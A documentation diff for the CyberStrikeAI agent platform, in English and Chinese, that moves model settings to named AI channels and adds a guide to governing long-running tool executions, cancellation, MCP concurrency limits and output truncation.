@@ -10,7 +10,7 @@ CyberStrikeAI can run as a local testing tool, an internal team service, or a pr
|
||||
- Python for some MCP servers and tool scripts.
|
||||
- SQLite files under `data/`; no external DB is required by default.
|
||||
- Actual security tools installed in PATH. YAML files under `tools/` only describe commands.
|
||||
- An OpenAI-compatible model endpoint, or `openai.provider: claude` for the Claude bridge.
|
||||
- At least one `ai.channels` entry. Use `provider: openai_compatible` for OpenAI-compatible endpoints, or `provider: claude` for the Claude bridge.
|
||||
|
||||
Important persistent paths:
|
||||
|
||||
|
||||
@@ -23,12 +23,12 @@ hitl:
|
||||
provider: ""
|
||||
base_url: ""
|
||||
api_key: ""
|
||||
model: "" # set a small model here; blank reuses openai.model
|
||||
model: "" # set a small model here; blank reuses the default AI channel model
|
||||
retention_days: 90
|
||||
tool_whitelist: [read_file, list_dir, glob, grep, tool_search]
|
||||
```
|
||||
|
||||
`audit_model` supports partial configuration. Empty fields inherit from the main `openai` config, so the common setup is to fill only `model` and run approvals on a cheaper small model.
|
||||
`audit_model` supports partial configuration. Empty fields inherit from the resolved default AI channel, so the common setup is to fill only `model` and run approvals on a cheaper small model.
|
||||
|
||||
## Recommended Approval Strategy
|
||||
|
||||
|
||||
@@ -0,0 +1,221 @@
|
||||
# Tool Execution Governance
|
||||
|
||||
[Back to English documentation](README.md)
|
||||
|
||||
This document describes how CyberStrikeAI governs long-running tools, blocking MCP calls, oversized outputs, cancellation, and context restore. The goal is to preserve standard Agent/Eino tool semantics while preventing tool hangs, context blowups, oversized database records, and unsafe resume behavior.
|
||||
|
||||
## Goals
|
||||
|
||||
- **Keep the agent runner responsive**: tools may run for a long time, but the current runner waits only for a bounded interval.
|
||||
- **Allow long tasks to continue**: timeout returns an `execution_id`; later turns can call `wait_tool_execution`.
|
||||
- **Support cancellation**: users and agents can cancel a running execution.
|
||||
- **Keep DB and agent views identical**: the database stores the same canonical capped result returned to the agent.
|
||||
- **Protect resume paths**: resume uses model-facing traces and caps historical oversized tool traces.
|
||||
- **Isolate external MCP failures**: external MCP servers are protected by per-server concurrency limits, global concurrency limits, and circuit breakers.
|
||||
|
||||
## Execution Model
|
||||
|
||||
Tool calls still appear to Eino/Agent as standard tool invocations, but the blocking work runs in a worker:
|
||||
|
||||
```text
|
||||
Agent calls tool
|
||||
-> ExecutionService creates execution
|
||||
-> worker runs the real MCP/tool call
|
||||
-> Agent bounded wait
|
||||
-> completed: return tool result
|
||||
-> still running: return execution_id, worker continues in background
|
||||
```
|
||||
|
||||
This prevents MCP servers, `exec`, `sqlmap`, `nmap`, `nuclei`, and similar long-running tools from binding the current runner indefinitely.
|
||||
|
||||
## Execution Statuses
|
||||
|
||||
| Status | Meaning |
|
||||
|---|---|
|
||||
| `queued` | Execution exists and is waiting for a worker or concurrency slot |
|
||||
| `running` | Worker is executing |
|
||||
| `background_running` | UI display state: agent stopped waiting, background worker continues |
|
||||
| `completed` | This tool call completed |
|
||||
| `failed` | The tool actually failed |
|
||||
| `cancelled` | User, agent, or session cleanup cancelled the execution |
|
||||
| `hard_timeout` | The tool exceeded its hard timeout |
|
||||
| `orphaned` | A persisted running execution no longer has a runtime worker |
|
||||
|
||||
Important: when `wait_tool_execution` reaches `timeout_seconds` and the target execution is still running, the wait call itself is a completed observation, not a failed tool execution.
|
||||
|
||||
## Control Tools
|
||||
|
||||
| Tool | Purpose |
|
||||
|---|---|
|
||||
| `get_tool_execution` | Read current execution state |
|
||||
| `wait_tool_execution` | Wait for a selected execution for a bounded interval |
|
||||
| `cancel_tool_execution` | Cancel a selected execution |
|
||||
|
||||
`get_tool_execution` and `wait_tool_execution` can include a live output preview:
|
||||
|
||||
- `include_partial_output`: whether to return partial output, default `true`.
|
||||
- `partial_output_max_bytes`: tail preview limit for this call, default `4096`, maximum `65536`.
|
||||
|
||||
Partial output is a bounded preview of output produced so far, not the final `result`. The canonical `result` is still written only when the tool finishes. Tools that do not support streaming output simply omit partial fields.
|
||||
|
||||
Typical flow:
|
||||
|
||||
```text
|
||||
1. Call a long-running tool such as exec/sqlmap/nmap
|
||||
2. After tool_wait_timeout_seconds, receive execution_id
|
||||
3. Agent can continue reasoning, use other tools, or call wait_tool_execution
|
||||
4. If still incomplete, continue waiting or call cancel_tool_execution
|
||||
```
|
||||
|
||||
`tool_wait_timeout_seconds` applies to internal MCP tools, external MCP tools, and Eino filesystem's streaming `execute`. Eino's non-streaming filesystem tools such as `ls/read_file/write_file/edit_file/glob/grep` are recorded in execution monitoring, but they are not converted into resumable background workers.
|
||||
|
||||
## Cancellation and Session Cleanup
|
||||
|
||||
- User stop cancels running tools for the current conversation.
|
||||
- Normal session end cancels remaining running tools for the current conversation.
|
||||
- Interrupt-and-continue style flows do not mass-cancel tools.
|
||||
- Conversation-scoped cancellation avoids killing tools from other conversations.
|
||||
|
||||
## External MCP Isolation
|
||||
|
||||
External MCP servers can hang, disconnect, or return failures. CyberStrikeAI uses three protections:
|
||||
|
||||
| Capability | Config | Description |
|
||||
|---|---|---|
|
||||
| Per-server concurrency | `external_mcp_max_concurrent_per_server` | Max simultaneous calls for one external MCP server |
|
||||
| Global concurrency | `external_mcp_max_concurrent_total` | Max simultaneous external MCP calls across all servers |
|
||||
| Circuit breaker | `external_mcp_circuit_failure_threshold` / `external_mcp_circuit_cooldown_seconds` | Temporarily fast-fails a server after repeated failures |
|
||||
|
||||
Recommended defaults:
|
||||
|
||||
```yaml
|
||||
agent:
|
||||
external_mcp_max_concurrent_per_server: 2
|
||||
external_mcp_max_concurrent_total: 16
|
||||
external_mcp_circuit_failure_threshold: 3
|
||||
external_mcp_circuit_cooldown_seconds: 60
|
||||
```
|
||||
|
||||
## Output Governance
|
||||
|
||||
CyberStrikeAI uses `multi_agent.eino_middleware.reduction_max_length_for_trunc` as the unified tool result cap. The example configuration uses 50000 bytes.
|
||||
|
||||
```yaml
|
||||
multi_agent:
|
||||
eino_middleware:
|
||||
reduction_enable: true
|
||||
reduction_max_length_for_trunc: 50000
|
||||
```
|
||||
|
||||
Coverage:
|
||||
|
||||
| Channel | Behavior |
|
||||
|---|---|
|
||||
| Agent-facing tool result | Uses the canonical capped result |
|
||||
| DB / monitor storage | Stores the same canonical result |
|
||||
| `get_tool_execution` / `wait_tool_execution` | Reads the same canonical result |
|
||||
| Eino `execute` / filesystem monitor records | Capped before completion is persisted |
|
||||
| Non-streaming `exec` stdout/stderr | Source-side bounded buffer |
|
||||
| Streaming `exec` stdout/stderr | Streamed UI output is also bounded |
|
||||
| PTY execution path | Uses the same output cap |
|
||||
| Frontend detail modal | Has an additional UI display cap |
|
||||
|
||||
When the cap is reached, the full output is written to a local trunc file and the agent-facing payload becomes a `<persisted-output>` notice (with absolute path) that fits inside the configured budget.
|
||||
|
||||
Example:
|
||||
|
||||
```text
|
||||
<persisted-output>
|
||||
Output too large (200000). Full output saved to: /path/to/tmp/reduction/conversations/<id>/trunc/<execution_id>
|
||||
Use read_file with offset/limit to read parts of the file.
|
||||
Preview (first …):
|
||||
…
|
||||
|
||||
Preview (last …):
|
||||
…
|
||||
|
||||
</persisted-output>
|
||||
```
|
||||
|
||||
The current strategy is “spill full text to disk + bounded preview in context.” Agents can recover the original via `read_file`.
|
||||
|
||||
## Database and Resume Context
|
||||
|
||||
New results are written through this path:
|
||||
|
||||
```text
|
||||
tool completes
|
||||
-> NormalizeToolResultForStorage
|
||||
-> update in-memory execution
|
||||
-> persist to DB
|
||||
-> return to Agent
|
||||
```
|
||||
|
||||
So, under normal operation, the DB stores exactly the result returned to the agent.
|
||||
|
||||
Resume uses `LastAgentTraceInput`, which is the model-facing trace that actually reached ChatModel, not raw event accumulation. The restore path also caps historical tool content to prevent context blowups from:
|
||||
|
||||
- pre-upgrade DB records that contain raw large output,
|
||||
- manual imports or migrations,
|
||||
- lowering the configured cap from a larger value,
|
||||
- future bypasses that accidentally skip canonicalization.
|
||||
|
||||
## Recommended Configuration
|
||||
|
||||
For long-running security tasks:
|
||||
|
||||
```yaml
|
||||
agent:
|
||||
max_iterations: 800
|
||||
tool_timeout_minutes: 60
|
||||
tool_wait_timeout_seconds: 30
|
||||
external_mcp_max_concurrent_per_server: 2
|
||||
external_mcp_max_concurrent_total: 16
|
||||
external_mcp_circuit_failure_threshold: 3
|
||||
external_mcp_circuit_cooldown_seconds: 60
|
||||
shell_no_output_timeout_seconds: 1200
|
||||
|
||||
multi_agent:
|
||||
eino_middleware:
|
||||
reduction_enable: true
|
||||
reduction_max_length_for_trunc: 50000
|
||||
```
|
||||
|
||||
| Parameter | Recommended | Notes |
|
||||
|---|---:|---|
|
||||
| `max_iterations` | `300-1000` | Very large values weaken loop protection |
|
||||
| `tool_timeout_minutes` | `60` | Hard timeout for tools such as sqlmap |
|
||||
| `tool_wait_timeout_seconds` | `30-60` | Agent wait bound before returning `execution_id` |
|
||||
| `shell_no_output_timeout_seconds` | `600-1200` | Kills silent hangs |
|
||||
| `reduction_max_length_for_trunc` | `50000` | Unified tool result cap |
|
||||
|
||||
Do not make `tool_wait_timeout_seconds` very large by default. Long tasks should continue in workers and be observed by `execution_id`, rather than blocking one turn for several minutes.
|
||||
|
||||
## Testing
|
||||
|
||||
Long-task test prompt:
|
||||
|
||||
```text
|
||||
Call exec to run sleep 120. If it is not done after 10 seconds, do not keep waiting; report execution_id, call wait_tool_execution for 5 seconds, then cancel_tool_execution if still incomplete and report final status.
|
||||
```
|
||||
|
||||
Large-output test prompt:
|
||||
|
||||
```text
|
||||
Call exec to run: python3 - <<'PY'
|
||||
print("A" * 200000)
|
||||
PY
|
||||
Then show the tool result length and whether it contains the truncation marker.
|
||||
```
|
||||
|
||||
Expected behavior:
|
||||
|
||||
- The initial long task returns an `execution_id` and status `running` or UI `background_running`.
|
||||
- `wait_tool_execution` timing out while the target is still running is not displayed as a tool failure.
|
||||
- Large output never exceeds `reduction_max_length_for_trunc`.
|
||||
- DB, monitor details, and agent continuation use the same capped result.
|
||||
|
||||
## Boundaries
|
||||
|
||||
- CyberStrikeAI cannot control how a remote external MCP server collects output internally; it caps results after they enter CyberStrikeAI and protects calls with concurrency limits and circuit breakers.
|
||||
- Oversized tool output is spilled to local `tmp/reduction/.../trunc/<id>` (or `reduction_root_dir`) before truncation; the bounded result includes an absolute path for `read_file`.
|
||||
@@ -56,10 +56,11 @@ Output `1` means that the row was updated. The command requires `sqlite3` and `h
|
||||
|
||||
Model fails:
|
||||
|
||||
- wrong `base_url` path;
|
||||
- selected AI channel does not exist; empty selection follows `ai.default_channel`;
|
||||
- wrong `ai.channels.<id>.base_url` path;
|
||||
- invalid API key;
|
||||
- model unavailable;
|
||||
- reasoning fields unsupported by gateway. Try `openai.reasoning.mode: off`.
|
||||
- reasoning fields unsupported by gateway. Try `ai.channels.<id>.reasoning.mode: off`.
|
||||
|
||||
Streaming stalls:
|
||||
|
||||
|
||||
@@ -13,7 +13,7 @@
|
||||
|
||||
- [架构说明](architecture.md) · [安全模型](security-model.md) · [RBAC](rbac.md)
|
||||
- [Agent 与角色](agent-and-role-guide.md) · [Skills](skills-guide.md) · [Eino 多代理](MULTI_AGENT_EINO.md)
|
||||
- [工作流](workflow-graph.md) · [人机协同最佳实践](hitl-best-practices.md)
|
||||
- [工作流](workflow-graph.md) · [工具执行治理](tool-execution-governance.md) · [人机协同最佳实践](hitl-best-practices.md)
|
||||
|
||||
## 功能指南
|
||||
|
||||
|
||||
@@ -12,9 +12,9 @@
|
||||
vision:
|
||||
enabled: true
|
||||
model: qwen-vl-max # 必填
|
||||
api_key: # 留空 → openai.api_key
|
||||
base_url: # 留空 → openai.base_url
|
||||
provider: # 留空 → openai.provider
|
||||
api_key: # 留空 → 默认 AI 通道 api_key
|
||||
base_url: # 留空 → 默认 AI 通道 base_url
|
||||
provider: # 留空 → 默认 AI 通道 provider
|
||||
max_image_bytes: 5242880
|
||||
max_dimension: 2048
|
||||
jpeg_quality: 82
|
||||
@@ -28,7 +28,7 @@ vision:
|
||||
|
||||
## Web 设置
|
||||
|
||||
**系统设置 → 基本设置 → 视觉分析(analyze_image)** 可配置启用开关、视觉模型、API Key/Base URL(留空复用 OpenAI)、预处理参数;**保存并应用** 后写入 `config.yaml` 并重新注册 MCP 工具。
|
||||
**系统设置 → 基本设置 → 视觉分析(analyze_image)** 可配置启用开关、视觉模型、API Key/Base URL(留空复用默认 AI 通道)、预处理参数;**保存并应用** 后写入 `config.yaml` 并重新注册 MCP 工具。
|
||||
|
||||
## 路径
|
||||
|
||||
|
||||
@@ -52,6 +52,18 @@ Content-Type: application/json
|
||||
- `plan_execute`
|
||||
- `supervisor`
|
||||
|
||||
常用请求体字段:
|
||||
|
||||
| 字段 | 说明 |
|
||||
| --- | --- |
|
||||
| `message` | 用户消息,必填。 |
|
||||
| `conversationId` | 继续已有对话;为空时创建新对话。 |
|
||||
| `projectId` | 新对话绑定项目;为空时可跟随 `config.project.default_project_id`。 |
|
||||
| `role` | 使用指定角色。 |
|
||||
| `aiChannelId` | 选择 `ai.channels` 中的通道 ID;为空时使用 `ai.default_channel`。 |
|
||||
| `reasoning` | 会话级推理覆盖,受通道 `reasoning.allow_client_reasoning` 控制。 |
|
||||
| `hitl` | 会话级人机协同配置。 |
|
||||
|
||||
对话管理:
|
||||
|
||||
- `POST /api/conversations`
|
||||
|
||||
+50
-18
@@ -29,26 +29,57 @@ log:
|
||||
- `auth.session_duration_hours`:登录会话有效期(小时)。登录密码由 RBAC 用户管理,首次启动时在控制台输出 `admin` 初始密码。
|
||||
- `log.output`:可以是 `stdout`、`stderr` 或文件路径。
|
||||
|
||||
## 模型配置
|
||||
## AI 通道与模型配置
|
||||
|
||||
```yaml
|
||||
openai:
|
||||
provider: openai
|
||||
base_url: https://api.openai.com/v1
|
||||
api_key: sk-...
|
||||
model: gpt-4.1
|
||||
max_total_tokens: 120000
|
||||
reasoning:
|
||||
mode: on
|
||||
effort: high
|
||||
allow_client_reasoning: true
|
||||
profile: openai_compat
|
||||
ai:
|
||||
default_channel: openai-main
|
||||
channels:
|
||||
openai-main:
|
||||
name: OpenAI Main
|
||||
provider: openai_compatible
|
||||
base_url: https://api.openai.com/v1
|
||||
api_key: sk-...
|
||||
model: gpt-4.1
|
||||
max_total_tokens: 120000
|
||||
max_completion_tokens: 16384
|
||||
reasoning:
|
||||
mode: on
|
||||
effort: high
|
||||
allow_client_reasoning: true
|
||||
profile: openai_compat
|
||||
claude-main:
|
||||
name: Claude Main
|
||||
provider: claude
|
||||
base_url: https://api.anthropic.com/v1
|
||||
api_key: sk-ant-...
|
||||
model: claude-sonnet-4-5
|
||||
```
|
||||
|
||||
- `provider`:`openai` 表示 OpenAI 兼容接口;`claude` 会桥接到 Anthropic Claude Messages API。
|
||||
- `base_url/api_key/model`:主模型配置。
|
||||
- `max_total_tokens`:上下文压缩、攻击链构建、多代理摘要等共用的总预算。
|
||||
- `reasoning`:控制推理扩展字段。不同网关支持差异较大,异常时先尝试 `mode: off`。
|
||||
`ai` 是推荐的模型配置入口。系统设置页对应路径是 **系统设置 → 基本设置 → AI 通道配置**,保存后写入 `ai.default_channel` 和 `ai.channels`。旧版 `openai` 字段仍保留为兼容运行时字段;加载配置时会确保至少有一个默认通道,并把 `ai.default_channel` 解析后的配置同步到运行时 `openai`。
|
||||
|
||||
通道字段:
|
||||
|
||||
| 字段 | 说明 |
|
||||
| --- | --- |
|
||||
| `ai.default_channel` | 默认通道 ID。新对话、机器人、批量任务和未显式选择通道的请求使用它。 |
|
||||
| `ai.channels.<id>` | 通道配置。ID 会归一化为小写、数字和短横线,例如 `Qwen_Max` 会变成 `qwen-max`。 |
|
||||
| `name` | Web UI 展示名。留空时使用通道 ID。 |
|
||||
| `provider` | `openai_compatible` 或 `claude`。`openai_compatible` 会在运行时映射为 `openai`;`claude` 会桥接到 Anthropic Messages API。 |
|
||||
| `base_url/api_key/model` | 必填。Base URL 通常需要包含版本路径,如 OpenAI/兼容网关的 `/v1`。 |
|
||||
| `max_total_tokens` | 上下文压缩、攻击链构建、多代理摘要等共用的总预算。 |
|
||||
| `max_completion_tokens` | 单次模型输出上限;未填时使用默认值。 |
|
||||
| `reasoning` | 该通道的默认推理扩展字段。不同网关支持差异较大,异常时先尝试 `mode: off`。 |
|
||||
|
||||
对话页的“AI 通道”下拉框会读取已保存通道。请求体中的 `aiChannelId` 非空时仅对本次/本会话运行配置生效,不会把 API Key 发送给模型;为空时跟随 `ai.default_channel`。
|
||||
|
||||
常用操作:
|
||||
|
||||
- 新增:点击左侧 `+`,填写必填字段后保存。
|
||||
- 设默认:选中通道后点击“设为默认”,保存并应用后新请求生效。
|
||||
- 复制:以当前表单内容创建副本,适合为同一服务商配置不同模型。
|
||||
- 删除:默认通道不能作为批量删除目标;删除后需保留至少一个通道。
|
||||
- 探活:单通道“测试连接”或左侧“批量探活”会调用模型测试接口,适合验证 Key、Base URL 和模型名。
|
||||
|
||||
## Agent
|
||||
|
||||
@@ -213,7 +244,8 @@ project:
|
||||
|
||||
| 配置段 | 应用后通常立即生效 | 需要额外动作 |
|
||||
| --- | --- | --- |
|
||||
| `openai` | 新请求使用新模型配置 | 旧的流式请求不会被强制切换 |
|
||||
| `ai.default_channel` / `ai.channels` | 新请求使用解析后的默认或选定通道 | 旧的流式请求不会被强制切换;前端通道列表需要重新读取配置 |
|
||||
| `openai` | 兼容字段;通常由默认 AI 通道同步 | 新配置优先维护 `ai.channels` |
|
||||
| `agent.max_iterations` | 新 Agent 任务生效 | 已运行任务按启动时状态继续 |
|
||||
| `security.tool_description_mode` | 工具重新暴露时生效 | 模型已有上下文不会回滚 |
|
||||
| `hitl.tool_whitelist` | 新工具调用审批判断生效 | 已挂起审批不自动重判 |
|
||||
@@ -228,7 +260,7 @@ project:
|
||||
几个字段有“留空复用”的关系:
|
||||
|
||||
- `vision.api_key/base_url/provider` 留空时复用 `openai`。
|
||||
- `hitl.audit_model` 留空时复用 `openai`。
|
||||
- `hitl.audit_model` 留空时复用默认 AI 通道解析后的 `openai`。
|
||||
- `knowledge.embedding.base_url/api_key` 留空时复用主模型或 embedding 默认配置。
|
||||
- `knowledge.retrieval.rerank.base_url/api_key` 留空时复用 embedding/openai。
|
||||
- `database.knowledge_db_path` 留空时可以复用主会话数据库,但独立文件更利于备份。
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
- Python:部分 MCP 服务或工具脚本需要 Python 运行环境。
|
||||
- SQLite:默认使用文件型数据库,无需单独服务。
|
||||
- 安全工具:`tools/` 中的 YAML 只是工具定义,实际命令如 `nmap`、`sqlmap`、`nuclei` 仍需安装到系统 PATH。
|
||||
- 模型服务:需要 OpenAI 兼容 API,或配置 `openai.provider: claude` 走 Claude 桥接。
|
||||
- 模型服务:至少配置一个 `ai.channels` 通道;`provider: openai_compatible` 适用于 OpenAI 兼容 API,`provider: claude` 会走 Claude 桥接。
|
||||
|
||||
建议目录:
|
||||
|
||||
|
||||
@@ -23,12 +23,12 @@ hitl:
|
||||
provider: ""
|
||||
base_url: ""
|
||||
api_key: ""
|
||||
model: "" # 可填小模型;留空复用 openai.model
|
||||
model: "" # 可填小模型;留空复用默认 AI 通道的模型
|
||||
retention_days: 90
|
||||
tool_whitelist: [read_file, list_dir, glob, grep, tool_search]
|
||||
```
|
||||
|
||||
`audit_model` 的字段可以只填一部分。空字段会自动继承主 `openai` 配置,因此常见做法是只填 `model`,让审计 Agent 使用更便宜的小模型。
|
||||
`audit_model` 的字段可以只填一部分。空字段会自动继承默认 AI 通道解析后的模型配置,因此常见做法是只填 `model`,让审计 Agent 使用更便宜的小模型。
|
||||
|
||||
## 推荐审批策略
|
||||
|
||||
|
||||
@@ -0,0 +1,223 @@
|
||||
# 工具执行治理
|
||||
|
||||
[返回中文文档](README.md)
|
||||
|
||||
本文说明 CyberStrikeAI 对长时间工具、MCP 阻塞、大输出、取消和恢复上下文的治理策略。目标是让 Agent 保持标准工具语义,同时避免工具卡死、上下文爆炸、数据库膨胀或恢复时重新注入历史大输出。
|
||||
|
||||
## 设计目标
|
||||
|
||||
- **Agent 不被工具绑死**:工具调用可以很慢,但当前 runner 只等待有限时间。
|
||||
- **长任务可继续观察**:超时返回 `execution_id`,后续可用 `wait_tool_execution` 多轮等待。
|
||||
- **用户和 Agent 都能取消**:当前会话结束或用户停止任务时,会取消仍在运行的工具。
|
||||
- **数据库与 Agent 视图一致**:DB 保存的是 Agent 实际拿到的兜底后结果,不再保存另一份原始大输出。
|
||||
- **恢复不会撑爆上下文**:续跑使用 model-facing trace;历史异常大 tool trace 恢复时也会再次裁剪。
|
||||
- **外部 MCP 有隔离保护**:按 server 限并发、按全局限并发,并对连续失败的 server 熔断。
|
||||
|
||||
## 执行模型
|
||||
|
||||
普通工具调用仍然对 Eino/Agent 表现为一次标准 tool call,但底层执行分为两段:
|
||||
|
||||
```text
|
||||
Agent 调用工具
|
||||
-> ExecutionService 创建 execution
|
||||
-> worker 执行真实 MCP/工具调用
|
||||
-> Agent bounded wait
|
||||
-> 完成:返回工具结果
|
||||
-> 未完成:返回 execution_id,worker 继续后台运行
|
||||
```
|
||||
|
||||
这解决了 MCP server、`exec`、`sqlmap`、`nmap`、`nuclei` 等长任务阻塞当前 runner 的问题。
|
||||
|
||||
## 工具状态语义
|
||||
|
||||
| 状态 | 含义 |
|
||||
|---|---|
|
||||
| `queued` | execution 已创建,等待 worker 或并发槽位 |
|
||||
| `running` | worker 正在执行 |
|
||||
| `background_running` | 前端展示状态,表示本轮 Agent 已停止等待,但后台仍在跑 |
|
||||
| `completed` | 本次 tool call 本身已完成 |
|
||||
| `failed` | 工具真实失败 |
|
||||
| `cancelled` | 用户、Agent 或会话清理主动取消 |
|
||||
| `hard_timeout` | 超过硬超时,被系统终止 |
|
||||
| `orphaned` | 重启/异常后发现 DB 中仍是 running,但运行时已无对应 worker |
|
||||
|
||||
注意:`wait_tool_execution` 到达 `timeout_seconds` 时,如果目标 execution 仍在运行,**这次 wait 调用本身是完成的观察动作**,不是工具执行失败。返回体会说明目标仍为 `running`,前端不应显示为红色失败。
|
||||
|
||||
## 控制工具
|
||||
|
||||
| 工具 | 用途 |
|
||||
|---|---|
|
||||
| `get_tool_execution` | 读取 execution 当前状态 |
|
||||
| `wait_tool_execution` | 等待指定 execution 一段时间 |
|
||||
| `cancel_tool_execution` | 主动取消指定 execution |
|
||||
|
||||
`get_tool_execution` 与 `wait_tool_execution` 支持返回运行中输出预览:
|
||||
|
||||
- `include_partial_output`:是否返回 partial output,默认 `true`。
|
||||
- `partial_output_max_bytes`:本次返回的尾部预览上限,默认 `4096`,最大 `65536`。
|
||||
|
||||
partial output 是“已产生输出的有界预览”,不等同于最终 `result`。最终 `result` 仍只在工具结束时写入 canonical execution 记录;不支持流式输出的工具不会返回 partial 字段。
|
||||
|
||||
典型流程:
|
||||
|
||||
```text
|
||||
1. 调用 exec/sqlmap/nmap 等长任务
|
||||
2. 超过 tool_wait_timeout_seconds 后拿到 execution_id
|
||||
3. Agent 可继续推理、改用其他工具,或调用 wait_tool_execution
|
||||
4. 仍未完成时可继续等待,或调用 cancel_tool_execution
|
||||
```
|
||||
|
||||
`tool_wait_timeout_seconds` 适用于内部 MCP、外部 MCP,以及 Eino filesystem 的流式 `execute`。Eino 的 `ls/read_file/write_file/edit_file/glob/grep` 等非流式 filesystem 工具会写入 execution 监控记录,但不作为后台 worker 做软等待续跑。
|
||||
|
||||
## 取消和会话清理
|
||||
|
||||
- 用户点击“停止任务”时,会取消当前会话仍在运行的工具。
|
||||
- 会话正常结束后,会批量取消当前会话仍 `running` 的工具。
|
||||
- “中断并继续”类流程不会做会话级批量取消,以免误杀后续需要等待的 worker。
|
||||
- 取消只针对当前 conversation 绑定的 execution,不会误杀其他会话的工具。
|
||||
|
||||
## 外部 MCP 隔离
|
||||
|
||||
外部 MCP 可能因为远端 server 卡住、断连或返回异常而拖慢 Agent。系统提供三层保护:
|
||||
|
||||
| 能力 | 配置 | 说明 |
|
||||
|---|---|---|
|
||||
| 单 server 并发限制 | `external_mcp_max_concurrent_per_server` | 同一个外部 MCP server 同时运行的工具数 |
|
||||
| 全局并发限制 | `external_mcp_max_concurrent_total` | 所有外部 MCP 工具总并发 |
|
||||
| 熔断 | `external_mcp_circuit_failure_threshold` / `external_mcp_circuit_cooldown_seconds` | 单 server 连续失败后短期快速失败,避免反复打坏 server |
|
||||
|
||||
推荐默认:
|
||||
|
||||
```yaml
|
||||
agent:
|
||||
external_mcp_max_concurrent_per_server: 2
|
||||
external_mcp_max_concurrent_total: 16
|
||||
external_mcp_circuit_failure_threshold: 3
|
||||
external_mcp_circuit_cooldown_seconds: 60
|
||||
```
|
||||
|
||||
## 输出兜底
|
||||
|
||||
系统使用 `multi_agent.eino_middleware.reduction_max_length_for_trunc` 作为统一工具结果上限。当前示例配置为 50000 bytes。
|
||||
|
||||
```yaml
|
||||
multi_agent:
|
||||
eino_middleware:
|
||||
reduction_enable: true
|
||||
reduction_max_length_for_trunc: 50000
|
||||
```
|
||||
|
||||
兜底覆盖:
|
||||
|
||||
| 渠道 | 行为 |
|
||||
|---|---|
|
||||
| Agent 实际拿到的工具结果 | 使用兜底后的 canonical result |
|
||||
| DB/监控存储 | 保存同一份 canonical result |
|
||||
| `get_tool_execution` / `wait_tool_execution` | 读取同一份 canonical result |
|
||||
| Eino `execute` / filesystem 监控记录 | 完成记录前统一兜底 |
|
||||
| 非流式 `exec` stdout/stderr | 源头 bounded buffer |
|
||||
| 流式 `exec` stdout/stderr | 推送给前端的累计输出也受上限控制 |
|
||||
| PTY 执行路径 | 同样受上限控制 |
|
||||
| 前端详情弹窗 | 额外有 UI 展示截断保护 |
|
||||
|
||||
触发上限后,完整输出先写入本地 trunc 文件,Agent 侧只保留计入预算的 `<persisted-output>` 预览(含绝对路径)。因此阈值为 50000 时,上下文文本不会超过该上限。
|
||||
|
||||
示例:
|
||||
|
||||
```text
|
||||
<persisted-output>
|
||||
Output too large (200000). Full output saved to: /path/to/tmp/reduction/conversations/<id>/trunc/<execution_id>
|
||||
Use read_file with offset/limit to read parts of the file.
|
||||
Preview (first …):
|
||||
…
|
||||
|
||||
Preview (last …):
|
||||
…
|
||||
|
||||
</persisted-output>
|
||||
```
|
||||
|
||||
当前策略是「全文落盘 + 上下文预览」:超过 `reduction_max_length_for_trunc` 时,完整输出写入本地文件(默认 `tmp/reduction/conversations/<会话ID>/trunc/<execution_id>`),Agent/DB/监控拿到的是带绝对路径的 `<persisted-output>` 预览;可用 `read_file` 按 offset/limit 回读全文。
|
||||
|
||||
## DB 与恢复上下文
|
||||
|
||||
新执行结果的写入路径如下:
|
||||
|
||||
```text
|
||||
工具完成
|
||||
-> NormalizeToolResultForStorage
|
||||
-> 写入内存 execution
|
||||
-> 写入 DB
|
||||
-> 返回给 Agent
|
||||
```
|
||||
|
||||
因此正常情况下,DB 中保存的就是 Agent 拿到的结果。
|
||||
|
||||
续跑恢复时,系统使用 `LastAgentTraceInput` 中的 model-facing trace,也就是实际送入 ChatModel 的消息快照,而不是原始事件流累计。恢复入口还会对历史 tool 内容再次应用上限,防止以下情况撑爆上下文:
|
||||
|
||||
- 升级前 DB 已经存过原始大输出。
|
||||
- 手工迁移或导入的数据绕过了当前写入路径。
|
||||
- 配置从更大阈值改成 50000。
|
||||
- 未来某条旁路写入漏掉 canonicalize。
|
||||
|
||||
## 关键配置建议
|
||||
|
||||
长任务场景推荐:
|
||||
|
||||
```yaml
|
||||
agent:
|
||||
max_iterations: 800
|
||||
tool_timeout_minutes: 60
|
||||
tool_wait_timeout_seconds: 30
|
||||
external_mcp_max_concurrent_per_server: 2
|
||||
external_mcp_max_concurrent_total: 16
|
||||
external_mcp_circuit_failure_threshold: 3
|
||||
external_mcp_circuit_cooldown_seconds: 60
|
||||
shell_no_output_timeout_seconds: 1200
|
||||
|
||||
multi_agent:
|
||||
eino_middleware:
|
||||
reduction_enable: true
|
||||
reduction_max_length_for_trunc: 50000
|
||||
```
|
||||
|
||||
参数说明:
|
||||
|
||||
| 参数 | 建议 | 说明 |
|
||||
|---|---:|---|
|
||||
| `max_iterations` | `300-1000` | 太大等于放弃循环保护 |
|
||||
| `tool_timeout_minutes` | `60` | 单次工具硬超时,适合 sqlmap 等长任务 |
|
||||
| `tool_wait_timeout_seconds` | `30-60` | Agent 本轮等待上限,到时返回 `execution_id` |
|
||||
| `shell_no_output_timeout_seconds` | `600-1200` | 连续无输出时终止,防止静默挂死 |
|
||||
| `reduction_max_length_for_trunc` | `50000` | 工具结果统一上限 |
|
||||
|
||||
不建议把 `tool_wait_timeout_seconds` 设置得很大。长任务应由 worker 后台跑,Agent 通过 `execution_id` 继续观察,而不是一轮等待数分钟。
|
||||
|
||||
## 测试建议
|
||||
|
||||
可以用以下对话测试长任务语义:
|
||||
|
||||
```text
|
||||
调用 exec 执行 sleep 120;如果超过 10 秒还没完成,不要一直等,告诉我 execution_id,然后调用 wait_tool_execution 等 5 秒;如果仍未完成,再调用 cancel_tool_execution,最后说明状态。
|
||||
```
|
||||
|
||||
可以用以下命令测试大输出兜底:
|
||||
|
||||
```text
|
||||
调用 exec 执行:python3 - <<'PY'
|
||||
print("A" * 200000)
|
||||
PY
|
||||
然后展示工具结果长度和是否包含截断提示。
|
||||
```
|
||||
|
||||
预期:
|
||||
|
||||
- 初始长任务会返回 `execution_id`,状态为 `running` 或前端展示 `background_running`。
|
||||
- `wait_tool_execution` 等待到上限但目标未完成时,本次 wait 调用不应显示为执行失败。
|
||||
- 大输出结果不会超过 `reduction_max_length_for_trunc`。
|
||||
- DB、监控详情、Agent 继续推理看到的是同一份兜底结果。
|
||||
|
||||
## 当前边界
|
||||
|
||||
